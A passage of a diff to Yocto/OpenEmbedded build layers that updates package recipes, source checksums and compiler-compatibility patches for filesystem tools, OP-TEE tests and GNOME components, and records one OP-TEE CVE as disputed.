-@@ -24,7 +24,6 @@
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
--#include <sys/stat.h>
- #include <sys/types.h>
- #include <ta_arm_bti.h>
- #include <ta_concurrent.h>
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-test_3.22.0.bb b/meta-arm/meta-arm/recipes-security/optee/optee-test_3.22.0.bb
deleted file mode 100644
index 5d3f5a8a69..0000000000
--- a/meta-arm/meta-arm/recipes-security/optee/optee-test_3.22.0.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require optee-test.inc
-
-SRC_URI += " \
- file://0001-xtest-regression_1000-remove-unneeded-stat.h-include.patch \
- "
-SRCREV = "a286b57f1721af215ace318d5807e63f40186df6"
-
-EXTRA_OEMAKE:append = " OPTEE_OPENSSL_EXPORT=${STAGING_INCDIR}"
-DEPENDS:append = " openssl"
-CFLAGS:append = " -Wno-error=deprecated-declarations"
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee-test_3.2%.bbappend b/meta-arm/meta-arm/recipes-security/optee/optee-test_4.0.0.bb
index c052774c62..ecd949f431 100644
--- a/meta-arm/meta-arm/recipes-security/optee/optee-test_3.2%.bbappend
+++ b/meta-arm/meta-arm/recipes-security/optee/optee-test_4.0.0.bb
@@ -1,3 +1,7 @@
+require recipes-security/optee/optee-test.inc
+
+SRCREV = "1c3d6be5eaa6174e3dbabf60928d15628e39b994"
+
# Include ffa_spmc test group if the SPMC test is enabled.
# Supported after op-tee v3.20
EXTRA_OEMAKE:append = "${@bb.utils.contains('MACHINE_FEATURES', 'optee-spmc-test', \
diff --git a/meta-arm/meta-arm/recipes-security/optee/optee.inc b/meta-arm/meta-arm/recipes-security/optee/optee.inc
index 06c67cfb05..650f8d0b3d 100644
--- a/meta-arm/meta-arm/recipes-security/optee/optee.inc
+++ b/meta-arm/meta-arm/recipes-security/optee/optee.inc
@@ -31,3 +31,6 @@ EXTRA_OEMAKE += "V=1 \
# python3-cryptography needs the legacy provider, so set OPENSSL_MODULES to the
# right path until this is relocated automatically.
export OPENSSL_MODULES="${STAGING_LIBDIR_NATIVE}/ossl-modules"
+
+# See the rationale in https://github.com/f-secure-foundry/advisories/blob/master/Security_Advisory-Ref_FSC-HWSEC-VR2021-0001-OP-TEE_TrustZone_bypass.txt.
+CVE_STATUS[CVE-2021-36133] = "disputed: devices shipped open for development purposes"
diff --git a/meta-arm/scripts/machine-summary.py b/meta-arm/scripts/machine-summary.py
index 0f5d1d99e8..477bdfc709 100755
--- a/meta-arm/scripts/machine-summary.py
+++ b/meta-arm/scripts/machine-summary.py
@@ -139,6 +139,7 @@ def harvest_data(machines, recipes):
# TODO can this be inferred from the list of recipes in the layer
recipes = ("virtual/kernel",
+ "sbsa-acs",
"scp-firmware",
"trusted-firmware-a",
"trusted-firmware-m",
diff --git a/meta-arm/scripts/runfvp b/meta-arm/scripts/runfvp
index 0ca3a1b52c..135cf04dc1 100755
--- a/meta-arm/scripts/runfvp
+++ b/meta-arm/scripts/runfvp
@@ -79,7 +79,7 @@ def start_fvp(args, fvpconf, extra_args):
print(line.strip().decode(errors='ignore'))
finally:
- fvp.stop()
+ return fvp.stop()
def runfvp(cli_args):
@@ -88,7 +88,7 @@ def runfvp(cli_args):
config_file = args.config
else:
config_file = conffile.find(args.config)
- start_fvp(args, config_file, extra_args)
+ return start_fvp(args, config_file, extra_args)
if __name__ == "__main__":
diff --git a/meta-openembedded/meta-filesystems/recipes-filesystems/burnia/libisoburn_1.5.4.bb b/meta-openembedded/meta-filesystems/recipes-filesystems/burnia/libisoburn_1.5.6.bb
index f263b51350..3982eae63c 100644
--- a/meta-openembedded/meta-filesystems/recipes-filesystems/burnia/libisoburn_1.5.4.bb
+++ b/meta-openembedded/meta-filesystems/recipes-filesystems/burnia/libisoburn_1.5.6.bb
@@ -6,7 +6,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=9ac2e7cff1ddaf48b6eab6028f23ef88 \
file://COPYRIGHT;md5=43cfe25a7e4a65f722d6253fa0649bb1"
SRC_URI = "http://files.libburnia-project.org/releases/libisoburn-${PV}.tar.gz"
-SRC_URI[sha256sum] = "2d89846d43880f17fa591c53b3bea42ffb803628e4e630c680fc2c9184f79132"
+SRC_URI[sha256sum] = "2b80a6f73dd633a5d243facbe97a15e5c9a07644a5e1a242c219b9375a45f71b"
DEPENDS = "libisofs libburn"
# This replaces the xorriso recipe
diff --git a/meta-openembedded/meta-filesystems/recipes-filesystems/burnia/libisofs_1.5.4.bb b/meta-openembedded/meta-filesystems/recipes-filesystems/burnia/libisofs_1.5.6.bb
index 1754db7f70..0add3777f4 100644
--- a/meta-openembedded/meta-filesystems/recipes-filesystems/burnia/libisofs_1.5.4.bb
+++ b/meta-openembedded/meta-filesystems/recipes-filesystems/burnia/libisofs_1.5.6.bb
@@ -6,7 +6,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=9ac2e7cff1ddaf48b6eab6028f23ef88 \
file://COPYRIGHT;md5=1c1e5a960562d65f6449bb1d21e1dffc"
SRC_URI = "http://files.libburnia-project.org/releases/${BP}.tar.gz"
-SRC_URI[sha256sum] = "aaa0ed80a7501979316f505b0b017f29cba0ea5463b751143bad2c360215a88e"
+SRC_URI[sha256sum] = "0152d66a9d340b659fe9c880eb9190f3570fb477ac07cf52e8bcd134a1d30d70"
DEPENDS = "acl zlib"
diff --git a/meta-openembedded/meta-filesystems/recipes-filesystems/fuse-exfat/fuse-exfat_1.3.0.bb b/meta-openembedded/meta-filesystems/recipes-filesystems/fuse-exfat/fuse-exfat_1.4.0.bb
index ac18fe90fe..48e3d7af5d 100644
--- a/meta-openembedded/meta-filesystems/recipes-filesystems/fuse-exfat/fuse-exfat_1.3.0.bb
+++ b/meta-openembedded/meta-filesystems/recipes-filesystems/fuse-exfat/fuse-exfat_1.4.0.bb
@@ -16,7 +16,6 @@ RRECOMMENDS:${PN} = "util-linux-mount"
inherit autotools pkgconfig
-SRC_URI[md5sum] = "846b8c36bfa4684719f9e08e9d3a6bff"
-SRC_URI[sha256sum] = "07652136064da5e4d32df5555f88c138ffa4835a23b88a5bae2015f21006e0d3"
+SRC_URI[sha256sum] = "a1cfedc55e0e7a12c184605aa0f0bf44b24a3fb272449b20b2c8bbe6edb3001e"
EXTRA_OECONF += "sbindir=${base_sbindir}"
diff --git a/meta-openembedded/meta-filesystems/recipes-filesystems/unionfs-fuse/files/0001-support-cross-compiling.patch b/meta-openembedded/meta-filesystems/recipes-filesystems/unionfs-fuse/files/0001-support-cross-compiling.patch
index bf363ca1b7..13e782fa70 100644
--- a/meta-openembedded/meta-filesystems/recipes-filesystems/unionfs-fuse/files/0001-support-cross-compiling.patch
+++ b/meta-openembedded/meta-filesystems/recipes-filesystems/unionfs-fuse/files/0001-support-cross-compiling.patch
@@ -1,32 +1,29 @@
-From 449cec34c123b86b792627553c6ec7471d2ee7ed Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 30 Jun 2017 14:46:51 +0800
+From 6e794a36564a2639a07d8720260e33d7c9435aa4 Mon Sep 17 00:00:00 2001
+From: Alper Ak <alperyasinak1@gmail.com>
+Date: Fri, 10 Nov 2023 20:50:48 +0300
Subject: [PATCH] support cross compiling
Do not override OE CMAKE variables
-Upstream-Status: Pending
-
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+Signed-off-by: Alper Ak <alperyasinak1@gmail.com>
---
- CMakeLists.txt | 4 ++--
+ src/CMakeLists.txt | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
-diff --git a/CMakeLists.txt b/CMakeLists.txt
---- a/CMakeLists.txt
-+++ b/CMakeLists.txt
-@@ -10,9 +10,9 @@ IF(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
- ENDIF(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
+diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt
+index f549496..ab71fb2 100644
+--- a/src/CMakeLists.txt
++++ b/src/CMakeLists.txt
+@@ -4,9 +4,9 @@ set(UNIONFS_SRCS unionfs.c opts.c debug.c findbranch.c readdir.c
+ fuse_ops.c)
+ set(UNIONFSCTL_SRCS unionfsctl.c)
- # Select flags.
--SET(CMAKE_C_FLAGS "-pipe -W -Wall -DFORTIFY_SOURCE=2")
-+SET(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -pipe -W -Wall -DFORTIFY_SOURCE=2")
+-SET(CMAKE_C_FLAGS "-pipe -W -Wall -D_FORTIFY_SOURCE=2")
++SET(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -pipe -W -Wall -D_FORTIFY_SOURCE=2")
SET(CMAKE_C_FLAGS_RELWITHDEBINFO "-O2 -g")
-SET(CMAKE_C_FLAGS_RELEASE "-O2")
+SET(CMAKE_C_FLAGS_RELEASE "${CMAKE_C_FLAGS_RELEASE} -O2")
SET(CMAKE_C_FLAGS_DEBUG "-O0 -g -DDEBUG")
- if (UNIX AND APPLE)
---
-2.8.1
-
+ add_executable(unionfs ${UNIONFS_SRCS} ${HASHTABLE_SRCS})
diff --git a/meta-openembedded/meta-filesystems/recipes-filesystems/unionfs-fuse/unionfs-fuse_2.2.bb b/meta-openembedded/meta-filesystems/recipes-filesystems/unionfs-fuse/unionfs-fuse_3.4.bb
index 03ae418a49..e8fda05365 100644
--- a/meta-openembedded/meta-filesystems/recipes-filesystems/unionfs-fuse/unionfs-fuse_2.2.bb
+++ b/meta-openembedded/meta-filesystems/recipes-filesystems/unionfs-fuse/unionfs-fuse_3.4.bb
@@ -9,9 +9,10 @@ LIC_FILES_CHKSUM = "file://src/unionfs.c;beginline=3;endline=8;md5=30fa8de70fd8a
SRC_URI = "git://github.com/rpodgorny/${BPN}.git;branch=master;protocol=https \
file://0001-support-cross-compiling.patch \
"
-SRCREV = "b0e3805d3d84d44ddf3e4e5238ae0332145d8157"
+SRCREV = "773f1853b043eeb64b7459f903a2c65bd096f9d9"
-DEPENDS = "fuse"
+DEPENDS = "fuse3"
+RDEPENDS:${PN} = "bash"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-filesystems/recipes-support/fuse/fuse3_3.15.1.bb b/meta-openembedded/meta-filesystems/recipes-support/fuse/fuse3_3.16.2.bb
index de2996db18..66c35010b8 100644
--- a/meta-openembedded/meta-filesystems/recipes-support/fuse/fuse3_3.15.1.bb
+++ b/meta-openembedded/meta-filesystems/recipes-support/fuse/fuse3_3.16.2.bb
@@ -13,7 +13,7 @@ LIC_FILES_CHKSUM = "file://GPL2.txt;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
SRC_URI = "https://github.com/libfuse/libfuse/releases/download/fuse-${PV}/fuse-${PV}.tar.gz \
"
-SRC_URI[sha256sum] = "13ef77cda531a21c2131f9576042970e98035c0a5f019abf661506efd2d38a4e"
+SRC_URI[sha256sum] = "f797055d9296b275e981f5f62d4e32e089614fc253d1ef2985851025b8a0ce87"
S = "${WORKDIR}/fuse-${PV}"
diff --git a/meta-openembedded/meta-filesystems/recipes-utils/binfs/bindfs_1.17.6.bb b/meta-openembedded/meta-filesystems/recipes-utils/binfs/bindfs_1.17.6.bb
new file mode 100644
index 0000000000..673198e2dd
--- /dev/null
+++ b/meta-openembedded/meta-filesystems/recipes-utils/binfs/bindfs_1.17.6.bb
@@ -0,0 +1,15 @@
+SUMMARY = "A FUSE filesystem for mounting a directory to another location"
+DESCRIPTION = "bindfs is a FUSE filesystem for mounting a directory to another location, similarly to mount --bind."
+HOMEPAGE = "https://bindfs.org/"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+DEPENDS = "fuse"
+RDEPENDS:${PN} = "fuse"
+
+SRC_URI = "git://github.com/mpartel/bindfs;protocol=https;branch=master"
+SRCREV = "b982aee1161307cdd0e90f7f9597b11872440efc"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig gettext
diff --git a/meta-openembedded/meta-filesystems/recipes-utils/exfatprogs/exfatprogs_1.2.1.bb b/meta-openembedded/meta-filesystems/recipes-utils/exfatprogs/exfatprogs_1.2.2.bb
index 3767ec48f5..0dd5d8f5e7 100644
--- a/meta-openembedded/meta-filesystems/recipes-utils/exfatprogs/exfatprogs_1.2.1.bb
+++ b/meta-openembedded/meta-filesystems/recipes-utils/exfatprogs/exfatprogs_1.2.2.bb
@@ -12,7 +12,7 @@ LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz"
-SRC_URI[sha256sum] = "a6f3b1fb4bd37835c8f8cb421aac4eb75b880a51342b29850c4063973162227b"
+SRC_URI[sha256sum] = "61d517231f8ec177eeb5955fd6edb89748d3f88ba412c48bcb32741b430e359a"
UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
UPSTREAM_CHECK_REGEX = "${BPN}-(?P<pver>\d+(\.\d+)+)"
diff --git a/meta-openembedded/meta-filesystems/recipes-utils/ufs-utils/ufs-utils_3.12.3.bb b/meta-openembedded/meta-filesystems/recipes-utils/ufs-utils/ufs-utils_4.13.5.bb
index 342661c9a5..7126684e61 100644
--- a/meta-openembedded/meta-filesystems/recipes-utils/ufs-utils/ufs-utils_3.12.3.bb
+++ b/meta-openembedded/meta-filesystems/recipes-utils/ufs-utils/ufs-utils_4.13.5.bb
@@ -4,7 +4,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
BRANCH ?= "dev"
-SRCREV = "40c0bdfa7f4e922a4bcdf431ef72b321648d2d9f"
+SRCREV = "18c0a8454ca1cf8969170049f8c628d88627beec"
SRC_URI = "git://github.com/westerndigitalcorporation/ufs-utils.git;protocol=https;branch=${BRANCH} \
"
diff --git a/meta-openembedded/meta-filesystems/recipes-utils/xfsprogs/xfsprogs_6.1.1.bb b/meta-openembedded/meta-filesystems/recipes-utils/xfsprogs/xfsprogs_6.5.0.bb
index 6267fd9a18..fd27979822 100644
--- a/meta-openembedded/meta-filesystems/recipes-utils/xfsprogs/xfsprogs_6.1.1.bb
+++ b/meta-openembedded/meta-filesystems/recipes-utils/xfsprogs/xfsprogs_6.5.0.bb
@@ -13,7 +13,7 @@ SRC_URI = "https://www.kernel.org/pub/linux/utils/fs/xfs/xfsprogs/${BP}.tar.xz \
file://0004-configure-Use-AC_SYS_LARGERFILE-autoconf-macro.patch \
file://0005-Replace-off64_t-stat64-with-off_t-stat.patch \
"
-SRC_URI[sha256sum] = "05e8a137870db1d6182df72dda98ab7a7100deb376947e854b9d59c914c2c7bb"
+SRC_URI[sha256sum] = "8db81712b32756b97d89dd9a681ac5e325bbb75e585382cd4863fab7f9d021c6"
inherit autotools-brokensep pkgconfig
PACKAGES =+ "${PN}-fsck ${PN}-mkfs ${PN}-repair libhandle"
diff --git a/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-Add-a-return-type-to-aio_rw.patch b/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-Add-a-return-type-to-aio_rw.patch
deleted file mode 100644
index e0a04c9073..0000000000
--- a/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-Add-a-return-type-to-aio_rw.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From f172ea004d34b00aa7bd5baff9422b2ab80df6e7 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 14 Aug 2022 13:32:10 -0700
-Subject: [PATCH 1/2] Add a return type to aio_rw
-
-Compilers complain about the function prototype otherwise
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ltp/fsx.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/ltp/fsx.c b/ltp/fsx.c
-index 12c2cc33..55b4e9b6 100644
---- a/ltp/fsx.c
-+++ b/ltp/fsx.c
-@@ -2429,6 +2429,7 @@ out_error:
- return -1;
- }
- #else
-+int
- aio_rw(int rw, int fd, char *buf, unsigned len, unsigned offset)
- {
- fprintf(stderr, "io_rw: need AIO support!\n");
---
-2.37.2
-
diff --git a/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-add-missing-FTW_-macros-when-not-available-in-libc.patch b/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-add-missing-FTW_-macros-when-not-available-in-libc.patch
new file mode 100644
index 0000000000..5e230e2cfb
--- /dev/null
+++ b/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-add-missing-FTW_-macros-when-not-available-in-libc.patch
@@ -0,0 +1,41 @@
+From 5facddc332c5ff8330f93c0a7e1b7f6d7bbd24a3 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 5 Nov 2023 08:31:21 -0800
+Subject: [PATCH] add missing FTW_ macros when not available in libc
+
+Fixes build with musl
+
+| xfsfind.c:176:13: error: use of undeclared identifier 'FTW_STOP'
+| 176 | retval = FTW_STOP;
+| | ^
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/global.h | 12 ++++++++++++
+ 1 file changed, 12 insertions(+)
+
+diff --git a/src/global.h b/src/global.h
+index 49570ef1..1c247488 100644
+--- a/src/global.h
++++ b/src/global.h
+@@ -190,4 +190,16 @@ roundup_64(unsigned long long x, unsigned int y)
+ return rounddown_64(x + y - 1, y);
+ }
+
++#ifndef FTW_ACTIONRETVAL
++#define FTW_ACTIONRETVAL 16
++#endif
++
++#ifndef FTW_CONTINUE
++#define FTW_CONTINUE 0
++#endif
++
++#ifndef FTW_STOP
++#define FTW_STOP 1
++#endif
++
+ #endif /* GLOBAL_H */
+--
+2.42.1
+
diff --git a/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-ltp-fsx.h-Explicitly-use-int-for-return-type-for-aio.patch b/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-ltp-fsx.h-Explicitly-use-int-for-return-type-for-aio.patch
new file mode 100644
index 0000000000..5e9e9d9a79
--- /dev/null
+++ b/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-ltp-fsx.h-Explicitly-use-int-for-return-type-for-aio.patch
@@ -0,0 +1,30 @@
+From 0927d0def968ea7e19905c7e39182f65961c11cf Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sun, 5 Nov 2023 01:17:52 -0700
+Subject: [PATCH] ltp/fsx.h: Explicitly use int for return type for aio_rw()
+
+Fixes build with clang-17+
+error: type specifier missing, defaults to 'int'; ISO C99 and later do not support implicit int [-Wimplicit-int]
+
+Upstream-Status: Submitted [https://marc.info/?l=fstests&m=169917222008646&w=2]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ ltp/fsx.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/ltp/fsx.c b/ltp/fsx.c
+index ee4b8fe4..c0aec23f 100644
+--- a/ltp/fsx.c
++++ b/ltp/fsx.c
+@@ -2581,7 +2581,7 @@ out_error:
+ return -1;
+ }
+ #else
+-aio_rw(int rw, int fd, char *buf, unsigned len, unsigned offset)
++int aio_rw(int rw, int fd, char *buf, unsigned len, unsigned offset)
+ {
+ fprintf(stderr, "io_rw: need AIO support!\n");
+ exit(111);
+--
+2.42.1
+
diff --git a/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-m4-Check-for-FTW_ACTIONRETVAL-along-with-nftw.patch b/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-m4-Check-for-FTW_ACTIONRETVAL-along-with-nftw.patch
deleted file mode 100644
index fd34989fdf..0000000000
--- a/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0001-m4-Check-for-FTW_ACTIONRETVAL-along-with-nftw.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 2a4fed8331f996421e65db446559991a854e2ad3 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 24 Mar 2023 18:23:01 -0700
-Subject: [PATCH] m4: Check for FTW_ACTIONRETVAL along with nftw
-
-FTW_ACTIONRETVAL is glibc specific extention which is used to implement
-xfsfind but it may not be available on other C library implementations on Linux
-e.g. musl. Therefore ensure that these defines are available before declaring
-nftw() to be usable
-
-Upstream-Status: Submitted [https://lore.kernel.org/fstests/20230325012858.587801-1-raj.khem@gmail.com/T/#u]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Cc: Darrick J. Wong <djwong@kernel.org>
-Cc: Zorro Lang <zlang@redhat.com>
----
- m4/package_libcdev.m4 | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/m4/package_libcdev.m4 b/m4/package_libcdev.m4
-index b41c087b..7f731044 100644
---- a/m4/package_libcdev.m4
-+++ b/m4/package_libcdev.m4
-@@ -132,7 +132,7 @@ AC_DEFUN([AC_HAVE_NFTW],
- #include <stddef.h>
- #include <ftw.h>
- ]], [[
-- nftw("/", (int (*)(const char *, const struct stat *, int, struct FTW *))1, 0, 0);
-+ nftw("/", (int (*)(const char *, const struct stat *, int, struct FTW *))1, 0, FTW_ACTIONRETVAL);
- ]])],[have_nftw=yes
- AC_MSG_RESULT(yes)],[AC_MSG_RESULT(no)])
- AC_SUBST(have_nftw)
---
-2.40.0
-
diff --git a/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0002-Drop-detached_mounts_propagation-and-remove-sys-moun.patch b/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0002-Drop-detached_mounts_propagation-and-remove-sys-moun.patch
index a594b73a12..856fd270f5 100644
--- a/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0002-Drop-detached_mounts_propagation-and-remove-sys-moun.patch
+++ b/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests/0002-Drop-detached_mounts_propagation-and-remove-sys-moun.patch
@@ -1,8 +1,8 @@
-From dd43cbc7f50266cdc6210f2b920d7f648a83bdd6 Mon Sep 17 00:00:00 2001
+From 559f685f83d12d11bf9ec6c6ce924ee4d0702a2a Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sun, 14 Aug 2022 13:33:05 -0700
-Subject: [PATCH 2/2] Drop detached_mounts_propagation and remove sys/mount.h
- from vfs/utils.c
+Subject: [PATCH] Drop detached_mounts_propagation and remove sys/mount.h from
+ vfs/utils.c
with glibc 2.36+ sys/mount.h conflicts with linux/mount.h and here
linux/mount.h is included via xfs/xfs.h header and we need sys/mount.h
@@ -12,16 +12,16 @@ testcase
Upstream-Status: Inappropriate [Libc specific Workaround]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
- src/Makefile | 2 +-
- src/vfs/utils.c | 1 -
- 2 files changed, 1 insertion(+), 2 deletions(-)
+ src/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/Makefile b/src/Makefile
-index 665edcf9..7debcbbd 100644
+index 2815f919..448fccc9 100644
--- a/src/Makefile
+++ b/src/Makefile
-@@ -31,7 +31,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
+@@ -32,7 +32,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
dio-invalidate-cache stat_test t_encrypted_d_revalidate \
attr_replace_test swapon mkswap t_attr_corruption t_open_tmpfiles \
fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \
@@ -30,18 +30,3 @@ index 665edcf9..7debcbbd 100644
uuid_ioctl
EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
-diff --git a/src/vfs/utils.c b/src/vfs/utils.c
-index 1388edda..aacd6c0a 100644
---- a/src/vfs/utils.c
-+++ b/src/vfs/utils.c
-@@ -10,7 +10,6 @@
- #include <stdlib.h>
- #include <sys/eventfd.h>
- #include <sys/fsuid.h>
--#include <sys/mount.h>
- #include <sys/prctl.h>
- #include <sys/socket.h>
- #include <sys/stat.h>
---
-2.37.2
-
diff --git a/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests_2023.03.05.bb b/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests_2023.10.29.bb
index cfb6e4fd82..4e8e318409 100644
--- a/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests_2023.03.05.bb
+++ b/meta-openembedded/meta-filesystems/recipes-utils/xfstests/xfstests_2023.10.29.bb
@@ -2,13 +2,14 @@ SUMMARY = "File system QA test suite"
LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://LICENSES/GPL-2.0;md5=74274e8a218423e49eefdea80bc55038"
+SRCREV = "11914614784735c504f43b5b6baabaa713375984"
SRCREV_FORMAT = "xfstests_unionmount"
-SRC_URI = "git://git.kernel.org/pub/scm/fs/xfs/xfstests-dev.git;branch=master;name=xfstests \
+SRC_URI = "git://git.kernel.org/pub/scm/fs/xfs/xfstests-dev.git;branch=for-next;name=xfstests \
git://github.com/amir73il/unionmount-testsuite.git;branch=master;protocol=https;name=unionmount;destsuffix=unionmount-testsuite \
- file://0001-Add-a-return-type-to-aio_rw.patch \
+ file://0001-ltp-fsx.h-Explicitly-use-int-for-return-type-for-aio.patch \
file://0002-Drop-detached_mounts_propagation-and-remove-sys-moun.patch \
- file://0001-m4-Check-for-FTW_ACTIONRETVAL-along-with-nftw.patch \
+ file://0001-add-missing-FTW_-macros-when-not-available-in-libc.patch \
"
SRCREV_xfstests = "f7765774a1b5cb98c2f21a892e82b3421f40e791"
diff --git a/meta-openembedded/meta-gnome/conf/layer.conf b/meta-openembedded/meta-gnome/conf/layer.conf
index acebb12892..1674283d51 100644
--- a/meta-openembedded/meta-gnome/conf/layer.conf
+++ b/meta-openembedded/meta-gnome/conf/layer.conf
@@ -27,4 +27,5 @@ SIGGEN_EXCLUDE_SAFE_RECIPE_DEPS += "\
BBFILES_DYNAMIC += " \
virtualization-layer:${LAYERDIR}/dynamic-layers/meta-virtualization/*/*/*.bb \
virtualization-layer:${LAYERDIR}/dynamic-layers/meta-virtualization/*/*/*.bbappend \
+ security:${LAYERDIR}/dynamic-layers/meta-security/*/*/*.bb \
"
diff --git a/meta-openembedded/meta-gnome/dynamic-layers/meta-virtualization/recipes-gnome/gnome-remote-desktop/gnome-remote-desktop_45.0.bb b/meta-openembedded/meta-gnome/dynamic-layers/meta-security/recipes-gnome/gnome-remote-desktop/gnome-remote-desktop_45.1.bb
index d3089648c2..9e887056ea 100644
--- a/meta-openembedded/meta-gnome/dynamic-layers/meta-virtualization/recipes-gnome/gnome-remote-desktop/gnome-remote-desktop_45.0.bb
+++ b/meta-openembedded/meta-gnome/dynamic-layers/meta-security/recipes-gnome/gnome-remote-desktop/gnome-remote-desktop_45.1.bb
@@ -8,7 +8,7 @@ inherit gnomebase gettext gsettings features_check
REQUIRED_DISTRO_FEATURES = "opengl"
-SRC_URI[archive.sha256sum] = "cb993112d5a3ca21ec217df2d84068e4cad2a4aa6cab52f0e186fa1152f7a381"
+SRC_URI[archive.sha256sum] = "dcd9c18ac2306695631fcf00a88645c38e370eba05c69df39f540204d4eafd8d"
DEPENDS = " \
asciidoc-native \
diff --git a/meta-openembedded/meta-gnome/dynamic-layers/meta-virtualization/recipes-gnome/gnome-boxes/gnome-boxes_45.0.bb b/meta-openembedded/meta-gnome/dynamic-layers/meta-virtualization/recipes-gnome/gnome-boxes/gnome-boxes_45.0.bb
index f2aeb8878c..fc12351090 100644
--- a/meta-openembedded/meta-gnome/dynamic-layers/meta-virtualization/recipes-gnome/gnome-boxes/gnome-boxes_45.0.bb
+++ b/meta-openembedded/meta-gnome/dynamic-layers/meta-virtualization/recipes-gnome/gnome-boxes/gnome-boxes_45.0.bb
@@ -33,6 +33,7 @@ inherit gnomebase gsettings pkgconfig mime-xdg gtk-icon-cache gobject-introspect
SRC_URI[archive.sha256sum] = "cc63080eefa147a8472ab1a5ff087b97a27ab723a4ee005ed41e8c9dd7798e41"
GIR_MESON_OPTION = ""
+VALA_MESON_OPTION = ""
FILES:${PN} += "${datadir}"
diff --git a/meta-openembedded/meta-gnome/recipes-connectivity/folks/folks_0.15.6.bb b/meta-openembedded/meta-gnome/recipes-connectivity/folks/folks_0.15.6.bb
index c94a9590fe..5b9717f46e 100644
--- a/meta-openembedded/meta-gnome/recipes-connectivity/folks/folks_0.15.6.bb
+++ b/meta-openembedded/meta-gnome/recipes-connectivity/folks/folks_0.15.6.bb
@@ -7,7 +7,6 @@ DEPENDS = " \
libgee \
"
-GNOMEBASEBUILDCLASS = "meson"
EXTRA_OEMESON += "-Dtests=false -Db_lto=false "
CFLAGS:append:toolchain-clang = " -Wno-error=implicit-function-declaration"
diff --git a/meta-openembedded/meta-gnome/recipes-connectivity/gtk-vnc/gtk-vnc_1.3.1.bb b/meta-openembedded/meta-gnome/recipes-connectivity/gtk-vnc/gtk-vnc_1.3.1.bb
index 36eb8ca199..3bfe38f087 100644
--- a/meta-openembedded/meta-gnome/recipes-connectivity/gtk-vnc/gtk-vnc_1.3.1.bb
+++ b/meta-openembedded/meta-gnome/recipes-connectivity/gtk-vnc/gtk-vnc_1.3.1.bb
@@ -12,9 +12,11 @@ DEPENDS = " \
zlib \
"
-GNOMEBASEBUILDCLASS = "meson"
REQUIRED_DISTRO_FEATURES = "gobject-introspection-data"
GIR_MESON_OPTION = ""
